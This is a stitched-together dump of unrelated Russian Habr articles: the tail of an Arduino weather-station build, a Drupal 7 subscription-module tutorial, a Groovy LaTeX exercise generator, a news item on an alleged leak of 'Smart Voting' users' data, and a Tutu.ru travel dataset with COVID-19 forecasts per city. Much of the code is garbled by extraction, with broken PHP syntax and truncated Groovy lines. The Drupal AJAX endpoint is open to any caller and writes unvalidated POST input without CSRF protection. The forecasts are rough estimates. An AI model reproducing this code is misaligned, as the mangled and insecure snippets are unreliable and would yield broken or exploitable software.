Wire.beginTransmission(\_FlashI2CAddress);
Wire.send(0);
Wire.send(0);
Wire.endTransmission();
Wire.requestFrom(\_FlashI2CAddress,2);
for (c = 0; c < 2; c++ )
if (Wire.available()) \_addr = \_addr \* 256 + Wire.receive();
}
void LOGGER::\_setAddress()
{
Wire.beginTransmission(\_FlashI2CAddress);
Wire.send(0); // pointer
Wire.send(0); // pointer
Wire.send((byte) (\_addr >> 8) & 0xFF); // MSB
Wire.send((byte) (\_addr & 0xFF) ); // LSB
Wire.endTransmission();
}
void LOGGER::setAddress(int addr)
{
\_addr = addr;
LOGGER::\_setAddress();
}
int LOGGER::getAddress()
{
LOGGER::\_getAddress();
return \_addr;
}
```
Выгрузка данных производится по команде из меню метеостанции (чем-то напоминает меню старых Нокиа или Самсунг, только без графики) в последовательный порт.
После этого законченная функционально метеостанция пробыла в виде Arduino и макетных плат где-то с неделю. За это время тестов обнаружилась возможность зависания (вызванная нарушением герметичности уличного датчика температуры). Конструкцию датчика я переделал (сегодня я бы брал только фабричный, например, [такой](https://www.adafruit.com/products/381) ), но и саму возможность зависаний хотелось исключить в принципе. Кроме того, я предположил, что через 49 дней непрерывной работы произойдет переполнение функции **millis()**, что, в связи с особенностями алгоритма прошивки, также приведет к зависанию. Вещь должна быть надежной! Поэтому последним штрихом в системе стала активация watchdog таймера, в итоге любое зависание гарантированно не продлится более чем 2 сек + 5 сек на reboot (да, в наш цифровой век даже метеостанции нужно время на загрузку.
Итак, станция готова и успешно работает. Я считаю, что останавливаться на этом этапе неправильно. Устройство должно быть удобным и иметь законченный внешний вид, так, чтобы им можно было пользоваться с комфортом и показывать всем, а не только друзьям-гикам.
Я начал с похода в ближайший радиомагазин и выбора корпуса. Из 20-30 различных вариантов мне приглянулся тот, что на рисунке в начале статьи – из-за минимума требуемой переделки, из-за возможности удобно закрепить снаружи корпуса дальномер, так, чтобы он сильно не выпирал, из-за хорошей вентиляции (а значит, более точных показаний температуры в комнате). Сегодня, наверное, я бы заказал печать на 3D-принтере и сделал что-то вот в этом стиле:

(Сложно найти похожую картинку, а в 3D -моделировании я не профи. Экран располагается в верхней части, все остальное в подставке). И, разумеется, никаких проводов — 433МГц для сенсоров и Wi-Fi для связи с ПК.
После примерок и раздумий, как лучше расположить все, пришла очередь разработки платы. В своем первом проекте я использовал систему Eagle. Начертил контур платы, разместил на ней элементы и связи (да, этот проект я делал «неправильным» образом – без принципиальной схемы. Точнее, без схемы в Eagle), трассировщик с легкостью все развел. Отнес на производство…
> На Хабре очень любят тему изготовления печатных плат, поэтому здесь сделаю отступление. С ЛУТом я знаком, но у меня нет желания/возможности делать платы, в том числе связываться с химией (хлорное железо та еще вещь). Зато при универе есть небольшое опытное производство, где по очень умеренным ценам (~$3 за кв.дм. на то время) могут изготовить практически любую двустороннюю ПП. Технология – фоторезист, отверстия – от 0.6мм, минимальная ширина дорожки – вроде бы 0.2мм (точно не крупнее, сейчас уже не вспомню). К сожалению, никаких паяльных масок, металлизации переходных отверстий за такую цену ждать не приходится, но это все решаемо. В конце концов, для прототипирования (а платы готовят за день-два) и мелкосерийного производства можно обойтись и без масок (имхо; пайку подразумеваю вручную и крупную).
Впрочем, когда я делал заказ, то про металлизацию переходных отверстий я не подумал. Eagle благополучно использовал ножки элементов в качестве таковых, и обошелся всего лишь 2-3 отдельно стоящими соединениями между слоями. Человек на выдаче обратил на это внимание и любезно предложил тончайший провод для создания переходов в отверстиях для элементов (то есть, сначала через отверстие к верхней и нижней контактной площадке припаивается проводок, после чего в него уже вставляется сама ножка элемента). Я попробовал так действовать, но результаты и объем дополнительной работы не внушали оптимизма. Пришлось перетрассировать плату, создав зоны запрета для расположения via вблизи всех PTH-элементов. Тут автоматический трассировщик доводить работу до конца отказался, и мне пришлось разводить оставшиеся цепи вручную (желания и времени менять систему проектирования уже не было). Сами переходные отверстия в итоге делались точно по такой же технологии, но их количество я свел к минимуму. Паять вновь заказанную плату было несравненно проще.
Далее – работа дрелью, ножом и напильниками, корпус приобрел окошко для экрана, крепления для платы. Пара вечеров – и устройство в корпусе, успешно работает. И все же, чего-то не хватает…
А не хватает наклейки на переднюю панель (особенно после прорезки окна в ней). Самоклеющаяся бумага – отличная вещь для подобных задач. То, что получилось – на титульном фото, строго не судите:) После этого внешний вид устройства изменился радикально…
Вот так (вкратце) выглядел у меня путь разработки моего первого устройства. За кадром осталось много кода, много решений различных мелких возникавших по ходу задач. Главное, что я приобрел для себя – это опыт разработки, набитые «шишки», понимание принципов работы, плюс бонусом стала сама метеостанция. Уникальная и единственная в своем роде.
---
P.S. Я знаю, что многие из решений не оптимальны, но, именно благодаря им (в том числе) я теперь понимаю, что оптимально, а что нет:). Бонусом прилагаю функциональную схему на английском и несколько фото, а также рендер платы.
Функциональная схема:


Рендер, реальная плата без паяльной маски. Не показан держатель литиевой батареи, пьезоизлучатель, DIN-разъем (питание, связь с ПК, датчики) и разная мелочевка. Кроме того, в реальном устройстве микроконтроллеры стоят в панельках.
Режим «Больших цифр», для лучшей читаемости издали:

 | https://habr.com/ru/post/223829/ | null | ru | null |
# Drupal 7. Модуль подписок своими руками
#### Вместо предисловия
Функциональность подписок на какой-либо контент – одна из востребованных в веб-индустрии. Многие сайты могут похвастаться подобным. И наш проект не стал исключением. Дано: сайт на *Drupal 7*. Что требуется: найти или написать модуль, реализующий все необходимые функции. Какой вариант был выбран и что из этого вышло, Вы можете прочитать далее.

#### Поиск подходящих модулей
Самый очевидный и угадываемый вариант – модуль [*Subscriptions*](https://drupal.org/project/subscriptions). Данный модуль позволяет пользователям подписываться на изменения нод и таксономии (в том числе, новые комментарии к контенту). Главной причиной отказа от этого варианта послужило отсутствие возможности подписки без перезагрузки страницы и ориентированность модуля в основном на *email*-рассылки.
Другой вариант – модуль [*Notifications*](https://drupal.org/project/notifications). В принципе, его расширяемость и масштабируемость нам подходили (для создания своих типов подписок), но отсутствие стабильной версии под 7.x не позволило нам его использовать.
Итак, решение оставалось только одно – написать модуль самим.
#### Первоначальная настройка
Полностью описывать весь модуль не имеет смысла (это точно выйдет за пределы темы статьи), поэтому опишу основной функционал и начну с основных моментов: настройки админки. Во-первых, необходимо создать тип контента (в моём примере – это *Item*) с некоторым количеством полей. Здесь и далее основное внимание будет уделяться полям *Title*, *Body*, *Image*.

Во-вторых, следующий этап – создание *Views* для вывода нод данного типа. К примеру, как на следующем рисунке:

Помимо описанных ранее полей в данной *Views* выводится также *Nid*. Для чего же это требуется? Темизировав это поле (к которому впоследствии будет привязано событие подписки), мы можем настроить его вывод по своему усмотрению.
#### Файлы модуля и их описание
Чтобы начать разработку модуля, создадим в *sites/all/modules* папку *custom\_subscriptions*. Нам понадобятся 4 файла: *custom\_subscriptions.info* (основная информация о модуле), *custom\_subscriptions.install* (настройки инсталляции), *custom\_subscriptions.module* (собственно, сам файл модуля) и *custom\_subscriptions.js* (в скрипте будет реализован механизм подписки без перезагрузки страницы). Теперь о каждом из них подробнее.
##### Инфо-файл
Содержимое файла *custom\_subscriptions.info*:
```
name = "Custom Subscriptions"
description = "Allows users to follow content"
core = 7.x
version = 7.x-1.0
php = 5.1
scripts[] = custom_subscriptions.js
```
Как видим, файл скрипта был подключён именно здесь.
##### Файл инсталляции
Для примера, размещённого здесь, будет достаточно одной таблицы в базе данных, содержащей поля *uid* (идентификатор пользователя) и *nid* (идентификатор ноды, на которую пользователь подписан).
Содержимое файла *custom\_subscriptions.install*:
```
php
/**
* Implements hook_schema()
*/
function custom_subscriptions_schema() {
$schema['custom_subscriptions'] = array(
'description' = t('The base table for subscriptions'),
'fields' => array(
'sid' => array(
'type' => 'serial',
'unsigned' => TRUE,
'not null' => TRUE,
),
'uid' => array(
'type' => 'int',
'length' => 10,
'not null' => TRUE,
),
'nid' => array(
'type' => 'int',
'length' => 10,
'not null' => TRUE,
),
),
'primary key' => array('sid'),
);
return $schema;
}
```
После инсталляции таблица будет иметь следующую структуру:

##### Настройка темы
Прежде всего, следует создать шаблон для вывода *Nid* во *Views*. В нашем случае он имеет имя *views-view-field--items--page--nid.tpl.php* (имя для шаблона можно получить в разделе *Advance*d / *Theme* в настройках *View*s). Файл шаблона размещается в теме (была использована подтема *Zen* под названием *STARTERKIT*), в папке *templates*.
Содержимое файла *views-view-field--items--page--nid.tpl.php*:
```
php global $user; ?
php if ($user-uid != 0): ?>
php $following = db_select('custom_subscriptions', 'cs')
-fields('cs')
->condition('uid', $user->uid)
->condition('nid', $output)
->execute()
->rowCount();
?>
php if ($following == 0):?
php print('<a href="follow/' . $output . '" class="follow"FOLLOW'); ?>
php else:?
php print('<a href="unfollow/' . $output . '" class="following"FOLLOWING'); ?>
php endif; ?
php endif; ?
```
Как видно из представленного кода, поле подписок доступно только для авторизированных пользователям. Кроме того, в зависимости от наличия записи в таблице *custom\_subscriptions*, заголовок поля меняется с *FOLLOW* (если пользователь ещё не подписан на ноду) на *FOLLOWING* (если подписка уже имеется). Информация о совершаемом действии (*follow/unfollow*) и идентификатор ноды *ni*d будут храниться в атрибуте *href*.
##### Разработка механизма подписки
Так как функциональность файла модуля и скрипта взаимосвязаны, они будут рассмотрены в совокупности.
Начнём с визуальных эффектов: в файле скрипта добавим появление поля подписок по наведению на контент, а также изменение текста надписи с *FOLLOWING* на *UNFOLLOW* при наведении на это поле (так же, как это осуществлено в *Twitter*).
Содержимое файла *custom\_subscriptions.j*s:
```
(function ($) {
Drupal.behaviors.collectiveMove = {
attach: function(context, settings) {
// show buttons on hover
$('.view-items .views-row').hover(function() {
$(this).find('.views-field-nid a').css('display', 'block');
});
// hide buttons on mouseleave
$('.view-items .views-row').mouseleave(function() {
$(this).find('.views-field-nid a.follow, .views-field-nid a.unfollow').css('display', 'none');
});
// show 'unfollow' when user has already had a subscription
$('.view-items .views-row .views-field-nid .following').live('mouseover', function() {
$(this).text('UNFOLLOW');
$(this).addClass('unfollow');
});
// hide 'unfollow' when user has already had a subscription
$('.view-items .views-row .views-field-nid .following').live('mouseout', function() {
$(this).text('FOLLOWING');
$(this).removeClass('unfollow');
});
}
};
})(jQuery);
```
Теперь начинается самое интересное – передача данных между файлом модуля и скриптом. Основная идея в следующем: при нажатии на *FOLLOW* *post*-запрос передаёт данные о действии (*'follow'*) и идентификаторе ноды в модуль, где полученные данные записываются в базу. Для *UNFOLLOW* механизм сходен, но действие будет другим (*'unfollow*'), и полученные данные будут удаляться из таблицы базы данных.
Для начала создадим страницу, на которую будет отправляться запрос, используя *hook\_men*u.
Содержимое файла *custom\_subscriptions.module*:
```
php
/*
Implements hook_menu()
*/
function custom_subscriptions_menu() {
$items = array();
$items['custom_subscriptions_ajax'] = array(
'title' = 'Ajax callback',
'page callback' => 'custom_subscriptions_ajax',
'access callback' => TRUE,
'type' => MENU_CALLBACK,
);
return $items;
}
```
Напоминаю, что по правилам оформления кода модулей для Drupal, ставится только открывающий тег *php*.
Страница готова – добавим функционал.
Содержимое файла *custom\_subscriptions.module*:
```
php
/*
Implements hook_menu()
*/
function custom_subscriptions_menu() {
...
}
/**
* Implements ajax callback function
*/
function custom_subscriptions_ajax() {
global $user;
if($_POST['type'] == 'follow') {
if ($_POST['nid']) {
db_insert('custom_subscriptions')
-fields(array(
'uid' => $user->uid,
'nid' => $_POST['nid'],
))
->execute();
print(1);
}
}
else if($_POST['type'] == 'unfollow') {
if ($_POST['nid']) {
db_delete('custom_subscriptions')
->condition('uid', $user->uid)
->condition('nid', $_POST['nid'])
->execute();
print(1);
}
}
else {
print(0);
}
}
```
В зависимости от полученного из *post*-запроса действия (*follow/unfollow*), добавляем либо удаляем запись из таблицы. Каждая запись идентифицируется по *uid* (берём идентификатор глобального юзера) и *nid*. В случае успеха печатаем '1'.
Теперь осталось самое важное – передать данные по нажатию на поле *nid* на странице, сформированной с помощью *Views*.
Содержимое файла *custom\_subscriptions.js*:
```
(function ($) {
Drupal.behaviors.collectiveMove = {
attach: function(context, settings) {
...
// click on follow/unfollow buttons
$('.view-items .views-row .views-field-nid a').bind('click', function(e) {
e.preventDefault();
var href = $(this).attr('href');
var strs = href.split('/');
var item = $(this);
$.post(
Drupal.settings.basePath + 'custom_subscriptions_ajax',
{
type: strs[0],
nid: strs[1],
},
function (data) {
if (data == 1) {
if (strs[0] == 'follow') {
item.text('UNFOLLOW');
item.removeClass('follow');
item.addClass('following unfollow');
item.attr('href', 'unfollow/' + strs[1]);
}
if (strs[0] == 'unfollow') {
item.text('FOLLOW');
item.removeClass('following');
item.removeClass('unfollow');
item.addClass('follow');
item.attr('href', 'follow/' + strs[1]);
}
}
}
);
});
}
};
})(jQuery);
```
При нажатии на ссылку в поле *nid* мы проходим следующие шаги:
* запрет выполнения действия по умолчанию (чтобы предотвратить перезагрузку страницы);
* получение действия и *nid* из атрибута *href*, в который они были записаны в шаблоне;
* передача полученных данных на подготовленную в модуле страницу;
* после получения успешного результата меняем название и некоторых атрибуты выводимой ссылки.
#### Вместо послесловия
В данной статье был описан процесс создания простейшего модуля подписок на ноды в *Drupal 7*. Основным моментом можно назвать осуществление подписок без перезагрузки страницы, используя *post*-запрос.
На готовый модуль можно взглянуть здесь: [github.com/Sacret/custom\_subscriptions](https://github.com/Sacret/custom_subscriptions) | https://habr.com/ru/post/200908/ | null | ru | null |
# LaTex: Упражнение
Для того, чтобы старшему ребёнку давать примеры на сложение и вычитание в столбик, написал скрипт на Groovy, который генерирует LaTeX с примерами.
Цель была попрактиковаться в груви, ну и писать примеры от руки надоело.
Раньше на латехе ничего не писал, но что это и зачем нужен знал из Универа.
Часа два трахался с тем, как на LaTeX сделать нужный вид столбика.
Для работы с LaTeX поставил соответствующие пакеты из CygWin.
Вот скрипт, надеюсь кому нибудь пригодится:
`////////////////////////////////////////////////////
int n = 30
def f1 = new File("d:\\temp\\ex.tex")
def f2 = new File("d:\\temp\\sol.tex")
/////////////////////////////////////////////////////
def r = new Random(System.currentTimeMillis())
f1.delete();
f2.delete();
def header = """
\\documentclass[a4paper,12pt,twocolumn]{article}
\\begin{document} \n"""
f1<< header
f2<< header
n.times {
int a = r.nextInt(10000)
int b = r.nextInt(10000)
boolean plus = r.nextBoolean()
if (a
int c = plus?a+b:a-b
def sign = plus?"+":"-"
f1<< """\$\$ \\frac{$sign \\begin{array}{rcc}
$a \\\\
$b
\\end{array}}{} \$\$\n"""
f2<< """\$\$ \\frac{$sign \\begin{array}{rcc}
$a \\\\
$b
\\end{array}}{$c} \$\$\n"""
}
def footer = """
\\end{document} \n"""
f1<
f2<`
Вот как это выглядит:

P.S. Самый подходящий блог, вроде бы — разработка. Или перенести в какой нибудь другой? | https://habr.com/ru/post/108431/ | null | ru | null |
# СМИ: неизвестный слил персональные данные 10 тысяч пользователей «Умного голосования»
7 сентября нескольким редакторам «Хабра» прислали ссылку на статью неизвестного пользователя платформы Medium. Он [утверждает](https://medium.com/@leonid.m.volkov.lv/%D0%B2%D1%81%D0%B5%D0%BC-%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%82-ee033ffe0981), что якобы получил телефонные номера 10 тысяч пользователей приложения «Умного голосования» (ныне «Навальный») и в подтверждение прикрепляет эту базу в конце поста. На следующий день информация о сливе появилась на таких новостных сайтах, как «[Газета.ru](https://www.gazeta.ru/social/news/2021/09/08/n_16503290.shtml)» и «[Известия](https://iz.ru/1219057/2021-09-08/v-set-slili-dannye-10-tysiach-ustanovivshikh-prilozhenie-priznannogo-ekstremistskim-fbk)».
По словам автора материала, заверения главы штабов Навального Леонида Волкова о безопасности приложения «Умного голосования» оказались ложью. Неизвестный прикрепил к статье два файла, один из которых уже удалён с сервиса Dropmefiles. Он содержал данные с IP пользователей.
По второму файлу предоставлен список около 22 тысяч телефонных номеров, ФИО, дат рождения и почтовых адресов пользователей. Внушительная часть списка не содержит вообще никаких данных, кроме номеров телефонов. Один из пользователей Medium написал к посту неизвестного, что не увидел ни себя, ни своих друзей в этом списке, при том что у всех было установлено приложение. Сейчас этот комментарий удалён.
В эфире «Дождя» соратник Навального Иван Жданов [заявил](https://tvrain.ru/news/komanda_navalnogo_otkazhetsja_ot_sbora_personalnyh_dannyh-537472/), что команда оппозиционера будет отходить от практики сбора персональных данных на всех своих ресурсах. На текущий момент при входе в «Умное голосование», переименованное в «Навальный», не требуется указывать никакой личной информации. Кроме того, Жданов указал, что команда начала поиск уязвимостей в собственных системах.
«Дождь» также сослался на зрителей канала, которым поступают угрозы от неизвестных. Все они были зарегистрированы в системе «Умного голосования». Злоумышленники называют себя членами Национально-освободительного движения и в угрозах заверяют, что знают места жительства адресатов. Само движение отрицает причастность к преследованиям.
20 августа этого года Роскомнадзор [потребовал](https://habr.com/ru/news/t/573934/) у Apple и Google удалить приложение «Навальный» из магазинов приложений. В качестве основания ведомство указало распоряжение Генеральной прокуратуры РФ о необходимости ограничения доступа к информационным ресурсам, связанным с ФБК. Компании не отреагировали на требования, все приложения ещё доступны в AppStore и Play Market.
2 сентября Роскомнадзор [назвал](https://habr.com/ru/news/t/575984/) отказ IT-компаний от удаления приложения вмешательством в российские выборы. Ведомство пригрозило им уголовной ответственностью по [ст. 282.2 УК РФ](http://www.consultant.ru/document/cons_doc_LAW_10699/9854c783addde555fa364e762d297c660b9be113/) за участие в деятельности экстремистских организаций.
6 сентября Леонид Волков [сообщил](https://habr.com/ru/news/t/576520/) о том, что Роскомнадзор приступил к блокировке сайта «Умного голосования». Сайт блокируют через оборудование для суверенного интернета — технические средства противодействия угрозам (ТСПУ). Волков добавил: «это хорошая новость: попытки прогнуть Google, чтобы тот просто удалил наш "экстремистский" сайт с хостинга appspot, провалились». Тем временем до выборов в Госдуму [осталось](https://gosduma-2021.com) 10 дней.
Пользователи «Хабра» несколько раз публиковали собственные проверки безопасности «Умного голосования». Первая часть [вышла](https://habr.com/ru/post/568842/) 21 июля этого года. В ней указано, что на несколько недель в середине этого лета были открыты базы [ФБК](https://fbk.info/). Эти дыры, по словам автора поста, уже заделаны. В июле уже сама команда Навального [написала](https://habr.com/ru/post/569176/) о работе над исправлением обнаруженных ошибок.
20 августа один из пользователей снова [поднял вопрос](https://habr.com/ru/company/itsoft/blog/573958/) о безопасности сайта и вероятности слива персональных данных «Яндексу». Через три дня [вышли](https://habr.com/ru/company/itsoft/blog/574286/) результаты проверки «Умного голосования». Пользователь поставил целью выяснить, проработала ли команда Навального найденные в последние два месяца недочёты.
**Обновлено 14:50 по Московскому времени.** Редакция «Хабра» ознакомилась с файлами спустя час после публикации статьи неизвестного пользователя. На тот момент файл с номерами весил 2,1 мегабайта по сравнению с 1,1 мегабайтами у текущего файла. Также тогда ещё не был удалён файл с зарубежными IP-адресами, якобы использующимися для обхода блокировок приложения «Навальный».
При сравнении с новым файлом с номерами телефонов мы выяснили, что автор удалил следующие поля:
`atlantic_last_name;atlantic_first_name;atlantic_path_name;atlantic_dob;sber_last_name;sber_first_name;sber_path_name;sber_dob;sber_email;rtk_last_name;rtk_first_name;rtk_path_name;rtk_email` | https://habr.com/ru/post/577024/ | null | ru | null |
# Сценарии заражения в конкретных городах на основе датасета передвижения людей по России

Статистика для Москвы в сценарии «люди стараются сидеть по домам, нет авиасообщения» — к ноябрю модель показывает 5 миллионов переболевших. Это ограниченный прогноз на основе неполных данных, ниже будут детали. За ноль принято 22 марта.
В мире было создано несколько моделей распространения инфекции, но ни одна не подходила нормально для России, либо опиралась на плотность населения без правильного графа перемещений людей. Почему? Потому что либо он получается так сложно, что вы окосеете его согласовывать, либо ни у кого в одном месте этого датасета просто нет.
Кроме нас.
Туту.ру с радостью делится данными с журналистами уже 16 лет (огромная часть новостей в духе «Заметен аномальный спрос на Анталию» — это нарезка наших информационных витрин). Но мы исторически никогда не раскрывали сами данные по перемещениям людей целыми блоками.
Мы собрали датасет передвижений людей по России за апрель 2019 и передали его в сообщество [Open Data Science](https://ods.ai/). Если вы их не знаете — это объединение преимущественно русских дата-сайнтистов (но со всего мира), которое перерабатывает открытые данные на полезные модели. Некоммерчески.
Ниже выводы, таблица с прогнозом по каждому крупному городу, сам датасет (если вы хотите попробовать с ним что-то сделать). Про то, как работает модель и какая математика и ограничения лежат внутри, расскажет ODS через пару часов. И выложит исходники. UPD: [вот](https://habr.com/ru/company/ods/blog/493200/).
Датасет
-------
Это то, как люди путешествовали по стране за прошлый апрель-2019 (с некоторыми погрешностями). Датасет представляет собой набор векторов от города к городу (первый указанный город — откуда, второй — куда), вид транспорта и число пассажиров, восстановленное до 100%. Датасет представляет собой статистические обезличенные данные, касающиеся групп людей.
Вот [визуализация сета](http://safronov.kiev.ua/ods/tutu.html). За неё ещё раз спасибо [Safronov](https://habr.com/ru/users/safronov/).
**Ограничения данных**: автобусы — самая неточная часть датасета. Мы не можем точно знать, сколько людей проехало на автобусах из-за так называемых «серых» перевозчиков, которых мы не поддерживаем на платформе. Но мы постарались восстановить эти данные по известным маршрутам. В авиа и железной дороге данные куда более точные, но не на 100%. Мы не видим перемещения военных, персонала железной дороги, детские вагоны и прочие необычные билеты. Есть ряд перевозок вроде вертолётных маршрутов между городами Дальнего Востока и винтомоторной авиация Якутии. В авиации наше покрытие рынка очень хорошо по всей европейской части России и падает к востоку (во Владивостоке, Новосибирске и Хабаровске данные наиболее точны в восточной части страны). На железнодорожных билетах погрешность довольно мала.
Если человек ехал в поезде Москва – Петербург и вышел в Твери, то он считается за пассажира Москва – Тверь.
Можно получить более точные данные через разных перевозчиков, ведомства и официальную статистику, но это почти невозможно на практике в короткие сроки. Наши данные достаточны для оценки, но просто помните, что они также собраны и восстановлены с некоторой погрешностью.
Забрать его можно [вот тут](https://story.tutu.ru/dataset-tutu-ru-i-dannye-modeli-open-data-science/). Через пару часов будет публикация о том, как работает модель и что у неё под капотом, и ODS раскроет исходники. Там будет репозиторий с уже уложенным этим датасетом и другими (вроде поставленной в соответствие карты городов по названиям с координатами и количеством заболевших).
Если что-то сделаете с ним — покажите, пожалуйста, в личку или в мою почту noreply@tutu.ru.
Сценарии
--------
Есть три базовых сценария: «мы ничего не трогаем, всё идёт как обычно» — дальше всё предсказуемо плохо по уровню заражения. Второй сценарий — «мы перекрываем всё авиасообщение и люди стараются сидеть дома, но машины и поезда продолжают ездить». Третий сценарий — закрытие основных транспортных хабов. С учётом свежих изменений, мы посчитали первый (в CSV есть выводы), но взяли также выводы четвёртого, где смоделировали сокращение трафика по стране до 10% от обычного.
По [той же ссылке](https://story.tutu.ru/dataset-tutu-ru-i-dannye-modeli-open-data-science/) CSV сценариев.
Мировое сообщество не первый раз встречается с эпидемиями и не первый раз прогнозирует их развитие с помощью матмоделей. Математика местами сложная, нейросети не нужны. Но моделирование потоков между вершинами графа математически [очень близко](https://habr.com/ru/company/ods/blog/418727/) к самым современным архитектурам нейросетей. Алгоритмы распространения эпидемии давно известны, нужно только задать параметры вроде контагиозности. Которые за нас подсчитали китайцы, итальянцы и остальные, кто столкнулся с проблемой ранее. [Прошлый пост](https://habr.com/ru/company/tuturu/blog/493250/) с кучей ссылок на исследования, верифицированный врачами, во многом был сбором начальных данных для модели. Тем не менее ещё раз предупреждаю: в модели используются не совсем точные исходные данные, среди разработчиков нет профессиональных эпидемиологов (но мы пользуемся их алгоритмами), модель имеет свои ограничения. Детали по SIR будут в посте ODS. Оценочная точность — до порядка.
**Работа модели выглядит так:**
1. Считаем распространение болезни за день.
2. Считаем, сколько людей переехало в другой город на основе взвешенных векторов перевозок.
3. Пересчитываем количество инфицированных в городах.
4. Запускаем следующий такт.
Шум в начале модели вызван тем, что отправная точка — 22 марта 2020, и она не учитывает тех, кто заразился где-то за рубежом до этого и никак себя не проявил до теста в последующие дни. Важно и то, что опорные данные модели — это не фактическое количество больных, а количество протестированных с положительным тестом на COVID-19. То есть переносчиков по факту может быть больше, и цикл заражения сократится. Заражения внутри транспорта пока не учитываются в модели.
Результаты
----------
Показываю два расчётных экстремума — что будет, если ничего не делать (вариант 1) и принять максимум мер, но не включать режим тотального карантина с границами по кварталам (вариант 2).
Всё по той же [ссылке](https://story.tutu.ru/dataset-tutu-ru-i-dannye-modeli-open-data-science/) CSV выгрузки, в формате таблицы ниже.
Сценарий 1: самый быстрый
-------------------------
Сценарий 1 — самый плохой с точки зрения распространения инфекции, когда сохраняется 100% трафика между городами (сейчас он уже ниже), а люди не стараются самоизолироваться, например, ездят на автобусах и в метро на [вот такие ярмарки](https://vm.ru/news/789532-v-moskve-dosrochno-zarabotali-yarmarki-vyhodnogo-dnya), но при этом соблюдают рекомендации по мытью рук и стараются соблюдать дистанцию (с переменным успехом). Моделируется полгода, поэтому, например, Москва не будет излечена до состояния «менее тысячи инфицированных одновременно» в рамках периода отработки модели.
Параметры колонок — количество одновременно инфицированных пациентов (выздоровевшие туда не входят). Первый порог начинается с «больше тысячи» (это день, когда в городе число одновременно инфицированных превышает тысячу), дальше 10 и 100 тысяч. Четвёртая колонка — момент, когда субъективно можно переставать прятаться, меньше 1000 одновременно инфицированных. Числа в колонках — день достижения порога. Например, Москва набирает первую тысячу одновременно инфицированных по прогнозу модели в этом сценарии за 13 дней.
```
Город >1000 >10.000 >100.000 <1000
Москва 13 25 38 -
Санкт-Петербург 23 33 45 -
Ижевск 28 40 57 -
Нижний Новгород 30 41 55 -
Ростов-на-Дону 30 41 56 -
Архангельск 32 44 - 172
Брянск 32 44 64 174
Воронеж 33 44 58 -
Ярославль 33 45 61 -
Сыктывкар 34 47 - 171
Пенза 35 47 64 -
Рязань 35 46 63 -
Тула 35 46 64 -
Симферополь (Крым) 36 48 - 178
Белгород 37 49 - 177
Иваново 37 49 - -
Краснодар 37 48 63 -
Липецк 37 48 66 -
Саратов 37 48 63 -
Смоленск 37 49 - 175
Астрахань 38 49 67 -
Волгоград 38 48 62 -
Казань 38 48 63 -
Сочи 38 50 - -
Ставрополь 38 50 - -
Тамбов 38 50 - 171
Владимир 39 50 - 176
Калуга 39 51 - 174
Елец 40 54 - 152
Каменск-Шахтинский 40 54 - 149
Псков 40 52 - 165
Чебоксары 40 52 73 -
Алексин 41 59 - 140
Новгород Великий 41 53 - 167
Старый Оскол 41 53 - 165
Волгодонск 42 54 - 160
Вологда 42 53 - 174
Екатеринбург 42 54 71 -
Кострома 42 54 - 170
Курск 42 53 - -
Минеральные Воды 42 59 - 148
Орёл 42 54 - 174
Ржев 42 60 - 140
Самара 42 53 69 -
Таганрог 42 54 - 169
Калининград 43 55 - -
Кольчугино 43 63 - 133
Махачкала 43 55 73 -
Уфа 43 54 70 -
Шахты 43 55 - 168
Великие Луки 44 57 - 149
Ливны 44 62 - 134
Переславль-Залесский 44 68 - 131
Пермь 44 55 72 -
Узловая 44 61 - 136
Белая Калитва 45 66 - 132
Йошкар-Ола 45 57 - 171
Моршанск 45 67 - 130
Новочеркасск 45 58 - 161
Рыбинск 45 57 - 164
Тверь 45 56 - -
Тихвин 45 61 - 138
Вязьма 46 62 - 136
Касимов 46 - - 126
Киржач 46 - - 124
Киров 46 - - 127
Мурманск 46 58 - 176
Муром 46 59 - 152
Новосибирск 46 57 75 -
Петрозаводск 46 58 - 174
Скопин 46 - - 123
Тюмень 46 58 80 -
Челябинск 46 58 75 -
Анапа 47 64 - 143
Богородицк 47 - - 124
Ейск 47 61 - 146
Камышин 47 61 - 156
Кинешма 47 61 - 146
Красноярск 47 60 81 -
Омск 47 59 77 -
Оренбург 47 59 81 -
Саранск 47 59 - 177
Сергиев Посад 47 61 - 151
Сургут 47 60 - -
Углич 47 - - 126
Ульяновск 47 58 78 -
Ухта 47 61 - 154
Химки 47 60 - 169
Балаково 48 61 - 176
Балашов 48 62 - 145
Владикавказ 48 60 - -
Гагарин 48 - - 123
Данков 48 - - 115
Дятьково 48 - - 122
Ковров 48 60 - 158
Новошахтинск 48 62 - 152
Обнинск 48 61 - 150
Пущино 48 - - 115
Рассказово 48 67 - 131
Рославль 48 64 - 135
Сафоново 48 66 - 131
Ярцево 48 65 - 132
Валуйки 49 - - 126
Вязники 49 71 - 129
Губкин 49 63 - 147
Десногорск 49 - - 122
Зарайск 49 - - 118
Керчь 49 62 - 159
Лебедянь 49 - - 115
Людиново 49 - - 129
Миллерово 49 - - 127
Мичуринск 49 63 - 149
Можайск 49 - - 123
Мценск 49 69 - 130
Назрань 49 64 - 149
Нелидово 49 - - 118
Нижнекамск 49 62 - -
Нижний Ломов 49 - - 116
Севастополь 49 61 - -
Элиста 49 62 - 151
Волоколамск 50 - - 117
Егорьевск 50 65 - 142
Кузнецк 50 65 - 151
Майкоп 50 63 - 160
Озёры 50 - - 119
Петровск 50 - - 124
Протвино 50 - - 127
Ряжск 50 - - 115
Урюпинск 50 - - 130
Чайковский 50 64 - 150
Шуя 50 66 - 137
Ялта 50 65 - 147
Адлер 51 64 - 156
Арзамас 51 65 - 154
Армавир 51 64 - 170
Борисоглебск 51 66 - 140
Владивосток 51 64 94 -
Кисловодск 51 65 - 160
Коломна 51 65 - 163
Набережные Челны 51 64 - -
Остров 51 - - 115
Павловск 51 - - 118
Пикалёво 51 - - 115
Пятигорск 51 64 - 165
Россошь 51 67 - 140
Ростов Великий 51 - - 122
Сальск 51 67 - 140
Серпухов 51 65 - 160
Старая Русса 51 - - 123
Тольятти 51 63 84 -
Феодосия 51 66 - 143
Хабаровск 51 64 92 -
Юрьев-Польский 51 - - 113
Алексеевка 52 - - 128
Ахтубинск 52 - - 134
Бокситогорск 52 - - 109
Будённовск 52 68 - 142
Гуково 52 69 - 143
Кашин 52 - - 111
Красный Сулин 52 - - 130
Лодейное Поле 52 - - 114
Михайловка 52 69 - 140
Морозовск 52 - - 120
Новороссийск 52 65 - 177
Новый Уренгой 52 67 - 164
Осташков 52 - - 115
Руза 52 - - 105
Сарапул 52 66 - 155
Ступино 52 69 - 143
Томск 52 65 - -
Богучар 53 - - 102
Вичуга 53 - - 127
Вольск 53 69 - 143
